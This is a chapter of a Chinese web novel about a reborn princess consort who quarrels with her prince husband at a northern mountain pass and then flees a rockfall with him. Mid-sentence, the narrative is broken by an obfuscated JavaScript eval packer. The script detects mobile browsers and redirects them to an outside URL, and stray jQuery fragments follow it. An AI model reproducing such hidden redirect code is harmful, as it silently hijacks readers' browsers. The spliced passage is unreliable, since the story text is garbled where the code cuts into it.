“夫君口中说的是我吗?”
不知什么时候开始,沐梧悠像变戏法一样从众人的背后冒了出来,铮铮地立在了这么多人眼前。
凭空出现的她插着腰似乎蛮不讲理,她歪着脖子质问萧尧。
“我看王爷的本事也没见着有多大啊,唯有一件本事见长的,那就是背后议论我的功夫比得过在场的所有人!”
周围的侍从见此情形,一个两个纷纷压低了自己的脚步声,灰溜溜地逃走了,生怕这个不好惹的王妃将他们和王爷一棒子打死,不然下场可就惨喽。
怎知沐梧悠不是个好惹的,立刻吓住了他们。
“都给我站住,我让你们走了嘛!”
侍从们敛声屏气,像个做错了事儿的孩子。
景元华站了出来摆着好脸色缓和道:“没有的事儿没有的事儿,王爷怎么会背后说你呢,王妃肯定是听错了,一定是听错了。”
还没等出口解释,萧尧首先问了沐梧悠的罪。
“本王倒是要问问你了,为何你会出现在太白山脉入口?”
萧尧的语气中满是指责,她竟然孤身一人就敢往北城闯,莫不是不要命了不成。
从最开始离开王府的时候就着重交代过,北地危险不可靠近,她显然是没有把自己的话放在心上。
沐梧悠被这一问,心虚得紧,慌忙收了自己唬吓的态度。
“我自己偷跑出来的,你可别怪梦听姐姐。”
好在她也不傻,许三娘自知拦不住她,只好做了一场戏假意放走了她。
可沐梧悠也不想萧尧对自己的阿姐产生怨气,便独揽了罪责好给梦听姐姐撇清关系。
萧尧也不蠢,早就猜透了事情的原委,无需她告知。
对于这个不听话的王妃,自己还真是束手无策。
“你到底用了什么狐媚子手段迷惑了阿姐,我阿姐居然听你是从。”
沐梧悠捧腹大笑,笑完复而故作娇柔道:“我能有什么手段,就算真有,那王爷想要试试我的媚术吗?”
萧尧愣在原地,这家伙又在做什么。
大庭广众之下,说这些虎狼之词,真不怕拂了自己的面子,被人笑话。
周围的人连同景元华听到这种词,像是听到了什么不该听见的,全都挤过这狭窄的入口,走到了最前面。
他们这王爷啊,啧啧啧,福气大着呢!
“住口,你身为南安王妃,怎么口出污秽之词。”
沐梧悠瞬间变了脸:“王爷这说的哪儿的话,我这还不是跟夫君您学的嘛!夫君说我说的是污秽之词,那您刚才说的又是什么?”
“不可理喻。”
“谁要你理喻了!”
沐梧悠提着裙摆,丢下了萧尧一人在队伍的最后头,兴冲冲地跑到景元华身边去了。
“你知道北地有位著名的医师嘛?”
景元华下意识地离了沐梧悠一米远,沐梧悠甚是诧异,继续往前走了几公分,景元华又躲,沐梧悠便又前进。
“你躲我干什么,我又不会吃了你,你只需要回答我的问题就可以了!”
萧尧看着这两人的样子,真是好一对鸳鸯,不知道的还以为眼前的这位王妃是他景元华的呢!
景元华举足无措间对上了萧尧深邃的眼神,他后撤了一步,向沐梧悠躬身深深行了一礼。
“王妃,我们还是……”
沐梧悠显然没有注意到自己与景元华的距离,继续追问道:“我们怎么了?”
见两人举动亲密无比,萧尧轻哼了一口气,明讽道。
“身为南安王妃就要有南安王妃的样子,两人之间走得如此亲近,真把本王当个空气了,王妃要是不知廉耻礼数,就赶紧回王府找个嬷嬷好好教一教。”
话毕,沐梧悠嘴角不自觉地抽搐了一下,她悠悠地转过身去,眼眶里那带着恨意的黑瞳死死地落在了他的左脸上。
她嘴角动了动,迈着沉重的步伐走向了萧尧,每一步几乎都快要将脚底下的冰踩碎了,没带一丝好气。
直到冲天的怒气从她口中说了出来,她才有所泄愤。
“王爷这是什么意思,是瞧不上我的身世,还是觉得我一个奉议郎的庶女有损你南安王的脸面。是,我是不知礼义廉耻,我更配不上做你的王妃!”
她说呢,自己一个小小的庶女,又怎会入得了他的眼,自己不过是他手中谋划的棋子罢了。
她还真是高看了萧尧的气节,自以为他是个正人君子,不会辱自己一句。
重活一世,还真是看清了他的真面目,人面兽心,上辈子王府倒台,想必也是他自作自受!
萧尧默默地听她把话说完,直到有一刻,他突然意识到自己好像说错了什么,她出身本就低下,在母家之时父母非打即骂,连像样的好日子都没有过,何论有人教习呢。
刚才无意说出口的话,只怕是像道冰刺寒了她的心。
见沐梧悠头也不回地离了他几丈远,他心底像是被人夺了舍,空荡荡的。
他想试着叫住她,大声喊道:“你站住……”
沐梧悠依然没有回头。
周围看热闹的人知道自家王爷丢了脸面,也不好说些什么,只得尴尬地用脚摩擦着地面,好缓解这火辣的气氛。
所有人前行的路上都不敢吭声。
个个都怕自己说错了什么话,让这两位主子更加不高兴了。
沐梧悠走在了所有人的前面,将身后的一行人撇开了老远。
咚……
只闻及头顶上似乎坠落下来了什么东西,砸在了沐梧悠的头心上,她顿感脑袋吃痛,迅速用手摸了摸,见是几个小冰块,于是也没太当回事。
刚准备抬头,天空中轰隆隆的响声由小变大,在沐梧悠的两耳之间来回涌动,她下意识举头望去,突然看到掉落的几颗巨石从山顶上沿着脊沟滚落下来,势如破竹地朝着他们而来。
沐梧悠揉了揉自己的双眼,生怕自己看错了。
不好!
……
萧尧也瞧见了,大喊道:“快,往前跑,不要回头!”
还处于懵逼的状态下,萧尧以最快的速度到达了她身边,拽着她的手腕一路向前奔去,丝毫不敢回头。
沐梧悠被这狠劲儿一扭,整个身子像是不听使唤了,也跟着跑了起来。
头上原本修饰整洁的发髻也在那一瞬间垂了下来,甚至还有几缕发丝发疯般地钻进了沐梧悠的眼睛里,使得她的左眼又痛又痒。
可在如此紧急的情况之下,她也顾不得去将眼角的发丝拨弄开来,只能任由发丝狂舞。
等停下来时,连梦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193797|181151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听姐姐送给她的发钗也不知掉到何处去了。
他们费了九牛二虎之力才跑到那山谷里,再去看时,来时的路早已被堵得死死的,没有一点缝隙。
想要出去更是难上加难。
沐梧悠僵在原地,胡乱地往自己发髻上摸了摸,两眼望向跑过来的那条道,即刻红了眼睛。
她弯下腰似乎想沿着刚才跑过来的路寻找些什么,看起来很着急。
萧尧看他这样子,不禁提醒道:“你在找什么,外头很危险你知不知道!”
沐梧悠没有回他,而是继续埋头寻那丢失的钗子。
萧尧恐出去再遇到那些滚落下来的冰石,他大步走向了她,准备将她再次生拽回来。
岂料沐梧悠根本不听,她用蛮力一根一根掰开了萧尧的五指,似乎在用自己的力量与他抗争,告诉他这根发钗她必找到不可。
“你不是最惜命嘛,有什么东西比你的命更加重要,你给我回去!”
萧尧不放,沐梧悠的手也抽不回来,两人就这样僵持着不相上下。
“你放开!”
“那是梦听姐姐给我的发钗,你快放开!”
气急之下,沐梧悠终于忍不住了,发酸的眼眶里热泪夺眶而出,顺着她绯红的脸颊掉落在了她的衣襟上。
“不就是一根发钗而已,何值得你去拼命,王府里要什么没有,回头本王给你一箱就是了!”
“我就要那根……”
那根是梦听姐姐给的。
她想再强调一遍,奈何喉咙哽咽加上冷风一直往她肚子里灌,她一句话也说不出来,那语气听起来可怜极了。
萧尧没有办法,只好妥协。
“你回去,我去给你找!”
他真是不明白,为何一根不值钱的破珠钗值得她这样做。
山脊沟里的冰石还在往下坠,不过没有先前那么多了,萧尧跑出去寻找了一圈儿,依旧没有找到。
沐梧悠眼睛尖,发钗被萧尧两米远的冰石压在底下,她给他指了指。
“在那里,你的左前方!”
萧尧停下照着她指的地方望去,还真在那里。
“你别过来,我去捡。”
沐梧悠心里终归还是有些担心他,毕竟他也是为了给自己找东西才出去的,万一出了什么事儿怎么办,那受苦的可就不只是她一个人了。
左右为难中,她沉下心来仔细斟酌了片刻,外头的冰石还在往下坠。
她没有听萧尧的话,更是不顾侍从们的阻拦奋然冲了出去。
“你快回来,这珠钗我不要了,我不要了你先回来!”
好在及时,两人并没有被冰石砸到。
其实沐梧悠还是很失落的,回来后她好几次朝着萧尧空荡荡的手中看了好几眼,确认没有东西后她才愁眉苦脸了起来,毕竟东西不见了。
“那么危险,你为什么要出去给我捡珠钗,你忘了你身系北地的重任了么?”
沐梧悠心口不一,嘴上说的不想要那东西,心底里还是极希望萧尧能给他捡回来的。
但是她心中更加清楚,北地的安危比她的那根珠钗更为重要,萧尧不该为了她冒险。
她有些自责,万一……万一萧尧真的出了事儿,她十条命都不够赔的。
“还不是怕你死!”